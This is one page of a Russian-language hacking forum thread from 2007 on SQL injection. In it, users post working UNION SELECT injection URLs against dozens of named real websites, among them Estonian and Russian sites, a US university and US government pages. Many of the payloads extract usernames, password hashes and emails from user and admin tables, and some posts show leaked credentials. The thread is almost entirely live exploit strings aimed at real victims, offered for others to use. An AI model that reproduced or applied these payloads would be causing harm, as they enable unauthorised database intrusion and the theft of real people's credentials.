SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 106 of 798
  1. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    2Серенький
    Code:
    http://www.7info.ru/robots.txt
    хмм.... но дустопа нету
     
    #2101 }{0TT@БЬ)Ч, 30 Apr 2007
    Last edited: 30 Apr 2007
    1 person likes this.
  2. Hawkins

    Hawkins Elder - Старейшина

    Joined:
    24 Jan 2007
    Messages:
    60
    Likes Received:
    31
    Reputations:
    5
    Максимум на что меня хватило :(
    http://www.logo.artperm.ru/script.php?litera=4'+union+select+1,2,3,4,5,6,7,8+from+mysql.users+limit+0,1/*

    зыж
    http://www.7info.ru/index.php?ns=127&id=-61+union+select+1,concat_ws(0x3a,login,password,na me)+from+user/*
    b842f0802c987156629ea4c87cca1259:AdmIn7
     
    #2102 Hawkins, 30 Apr 2007
    Last edited: 30 Apr 2007
    1 person likes this.
  3. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Из серии : А до талина далекоо?

    Code:
    http://www.siin.[COLOR=Red][B]ee[/B][/COLOR]/bestdesign/?keel=rus&mid=0&include=news_viewer&nid=-1348+union+select+1,2,3,4,5,concat(user(),char(58),version()),7,8,9,10,11/*
    Code:
    http://sarv.gi.[B][COLOR=Red]ee[/COLOR][/B]/news.php?id=-8+union+select+1,2,3,4,5,6,7,8,9,10/*
     
    #2103 zl0ba, 1 May 2007
    4 people like this.
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    ROLLERCLUB SKATESHOP - AGRESSIVE ONLY​

    Code:
    http://rollerclub.ru/agressive/view/fullview.php?id=-474+union+select+1,name,3,concat(0x3a,pass),concat(database(),char(58),version()),6,user(),8,9,10,11,12,13+from+users/*
    в помощь limit
     
    #2104 KPOT_f!nd, 1 May 2007
    3 people like this.
  5. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    Code:
    http://www.filmiveeb.[b]ee[/b]/index.php?leht=filmid&id=-3057+UNION+SELECT+1,concat(USER(),char(58),VERSION(),char(58),DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    Code:
    http://eum.nlib.[b]ee[/b]/tais.php?sona_id=-1+UNION+SELECT+1,concat(VERSION(),char(58),USER(),char(58),DATABASE()),3,4,5,6,7,8,9,10,11/*
     
    #2105 maxster, 1 May 2007
    1 person likes this.
  6. s1mt

    s1mt Member

    Joined:
    18 Apr 2007
    Messages:
    15
    Likes Received:
    6
    Reputations:
    0
    С той же серии ;)

    http://aiandus.ee/so_vaata2.php?nid=315+union+select+1,concat(username,0x3a,email),3,4+from+users/
    http://www.kinnisvarakeskus.ee/show.php?id=-510+union+select+1,convert(concat(version(),0x3a,user())+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    http://www.roerich.ee/galnew/show.php?l=est&id=-1902+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15/*
    http://www.einst.ee/links.html?id=-46+union+select+1,2,version(),4,5/*
    http://www.samm.ee/info.php?id=-6+union+select+1,version(),3,4,5,6,7,8/*
    http://www.ctc.ee/index.php?lang_id=1&menu_id=news.php&news_id=-44+union+select+1,2,3,4,5+from+admin/*8&year=2006
    http://www.hiiuauto.ee/news.php?nid=4+union+select+1,2,version(),4/*
    http://www.kainakaunid.ee/news.php?nid=17+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(database(),0x3a,version(),0x3a,user()),0x73),0x73),3,4,5/*
    http://www.kaina.hiiumaa.ee/news.php?nid=18+union+select+1,version(),3,4,5,6
    http://pood.akustika.ee/index.php?GID=-1284+union+select+1,2,3,4,5,6,7,8,9,10,11,AES_DECRYPT(AES_ENCRYPT(concat(user(),0x3a,version()),0x73),0x73),13,14,15,16,17,18,19,20,21,22,23,24+from+admin&lang=est&currency=EEK
    http://www.nukuteater.ee/news.php?news_id=-19+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat(name,0x3a,password),0x73),0x73),4,5,6+from+users/*
    http://www.refland.ee/news.php?vaata=1&id=41+union+select+1,version(),3,4,5,6,7,8,9&lang=est&currency=EEK
    http://www.ignorabimus.ee/news.php?do=show&id=5'+union+select+1,2,version(),4,5/*
    http://www.estrobalt.ee/index.php?ct=s&lang=est&sub=5&mn=-8+union+select+version(),2,3,4/*
    http://www.kaalud.ee/index.php?GID=-119+union+select+1,2,convert(concat(version(),0x3a,user())+using+latin1),4,5,6,7,8,9,10,11,12,13,14/*
    http://www.meistrite-linn.ee/index.php?GID=-216+union+select+1,2,convert(concat(version(),0x3a,user())+using+latin1),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*&lang=est&currency=EEK
    http://www.tnp.ee/ajaleht?news_id=-31+union+select+version(),2,3/*
    http://www.ctc.ee/index.php?lang_id=1&menu_id=news.php&news_id=-451+union+select+1,version(),3,4,5/*&year=2006
    http://www.bsp.ee/index.php?nid=-26+union+select+1,2,convert(concat(username,0x3a,password)+using+latin1),4,5,6,7,8,9+from+users/*&id=9&PHPSESSID=ed87c52615e53f3040e1140f4272e8a3
     
    #2106 s1mt, 1 May 2007
    Last edited: 1 May 2007
    2 people like this.
  7. rObad

    rObad Member

    Joined:
    12 Apr 2007
    Messages:
    10
    Likes Received:
    9
    Reputations:
    0
    http://udochki.ru/index.cfm?object=cart&action=add&entry_id=2234%20UNION+SELECT+TOP+10+password,password,password,password,password,password,password,password,password,password,password+FROM+USERS
     
    #2107 rObad, 1 May 2007
    Last edited: 1 May 2007
    2 people like this.
  8. s1mt

    s1mt Member

    Joined:
    18 Apr 2007
    Messages:
    15
    Likes Received:
    6
    Reputations:
    0
    http://www.e-uni.ee/index.php?main=uudis&id=-114+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8+from+users/*
    http://www.linnamuuseum.ee/linnamuuseum/index.php?&id=-2+union+select+1,concat(username,0x3a,user_password),3+from+users+limit+1,2/*
    http://www.raikkyla.ee/index.php?id=-257+union+select+1,2,3,4,5,concat(id,0x3a,pass),7,8,9+from+user/*
    http://www.data.ee/uudised.php?ID=-113+union+select+1,version(),3,4/*
    http://www.panagia.orthodox.ee/arhiv.php?id=-60+union+select+1,version(),3,4,5,6,7,8/*
    http://www.etc.ee/furniture3/index.php?f=companies&id=-18+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+admin/*
     
    #2108 s1mt, 2 May 2007
    1 person likes this.
  9. Barney

    Barney Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    78
    Likes Received:
    19
    Reputations:
    7
    я не особо разбираюсь в скулях...
    http://www.fasie.ru/index.php?rid=120'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    лично я ничо не смог достать...=\
     
    #2109 Barney, 2 May 2007
  10. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    Там всего одна колонка :

    Code:
    http://www.fasie.ru/index.php?rid=-120+UNION+SELECT+1/*
     
    #2110 zl0ba, 2 May 2007
    2 people like this.
  11. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Очень красивая иньекция на сайте- The University of Texas at Austin

    Code:
    http://www.utexas.edu/studentgov/legislation/version.php?id=-573+union+select+1,2,3,version(),password,6,7,user,char(58),10+from+users/*
    Короче классика, пассы чистые, лимит вам в помощь
     
    #2111 Constantine, 2 May 2007
    2 people like this.
  12. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    sql-inj

    Мужики - зацените:

    www.rudn-kvn.ru одна из моих любимых команд КВН )

    уязвимость: http://rudn-kvn.ru/gastroli.shtml?ul=10&uld=78'

    кавычку оставляем, смотрим версию -
    пятерка! :) смотрим таблицы:
    интересные таблицы и некоторые поля к ним: banner_users (register,userpass,username,id) ,konkurs_user(tel,city,country,email,name,passwd,user_id), sde_register_users(icq,tel,post,name,email,passwd,login,user_id)
    Таблиц под 50, есть и интересные.
    Есть форум
    Есть админка
    ps.отправил багрепорт админу.
     
    #2112 Серенький, 2 May 2007
    Last edited: 2 May 2007
    3 people like this.
  13. muse

    muse Elder - Старейшина

    Joined:
    25 Sep 2005
    Messages:
    28
    Likes Received:
    6
    Reputations:
    6
    вот чуть собралось за пару дней серфа


    http://www.digitalidworld.com/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,email,3,4,5,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23+from+nuke_users+where+uid=2&mode=chrono&order=0
    http://www.keckobservatory.org/article.php?id=99
    http://anmeldung.iao.fraunhofer.de/veranstaltung.php?id=-1%20union%20select%201,2,3,4,5,6,7,user,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64%20from%20mysql.user/*
    http://www.updalles.ro/page.php?p=0&s=0&c=16%20and%201=0%20union%20select%20username,2,password,4,5,6,7,8,9%20from%20users
    http://www.aeternazentaris.com/en/page.php?p=60&q=46%20and%201=0%20union%20select%201,2,username,password%20from%20users
    http://www.antiquedealersca.com/memdisplay.php?memID=-1+union+select+1,memid,email,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+members
    http://www.affect.ru/portfolio/work.php?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,61,17,18,19,20,21,22,23,24,25,26+from+mysql.user/*
    http://www.wincleaner.com/products/details.php?uid=-1%20union%20select%201,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,password,22%20from%20users%20where%20uid=1
     
    #2113 muse, 2 May 2007
    2 people like this.
  14. s1mt

    s1mt Member

    Joined:
    18 Apr 2007
    Messages:
    15
    Likes Received:
    6
    Reputations:
    0
    Походу должна быть скуля но не ковырял:
    RU-HOST
    http://www.ru-host.ru/texts.php?id=1+order+by+2/*
    _______________________
    http://zywienie.host.sk/articles.php?id=-4+union+select+1,version(),3,4,5,6,7
     
    #2114 s1mt, 2 May 2007
  15. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    www.nukuteater.ee

     
    #2115 Solide Snake, 2 May 2007
    1 person likes this.
  16. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    http://www.ru-host.ru/texts.php?id=1+and+1=0+union+select+1,concat_ws(0x3a,user(),version(),database())/*
     
    #2116 Серенький, 2 May 2007
    1 person likes this.
  17. Серенький

    Серенький Banned

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    cont

    нашел users : username,password,id,name
    1:kobin:7678614811d53c5b
    contacts : id,name
    news
    админка
     
    #2117 Серенький, 3 May 2007
  18. nark0109

    nark0109 New Member

    Joined:
    10 Jan 2007
    Messages:
    8
    Likes Received:
    4
    Reputations:
    0
    http://sunrise.ru/contents.asp?reg=30&id='
    сарай
     
    #2118 nark0109, 3 May 2007
    1 person likes this.
  19. stagediver

    stagediver New Member

    Joined:
    2 May 2007
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    http://www.fasie.ru/index.php?rid=-100+union+select+1,2,username,4,5+from+phpbb_users+where+user_id=2/*
     
    #2119 stagediver, 3 May 2007
    1 person likes this.
  20. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    http://www.tam.ca.gov/view.php?id=-33%20union%20select%201,2,3,4/*
    http://www.maineservicecommission.gov/MVF/article.php?ID=202%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13/*
     
    #2120 Scipio, 3 May 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 106 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.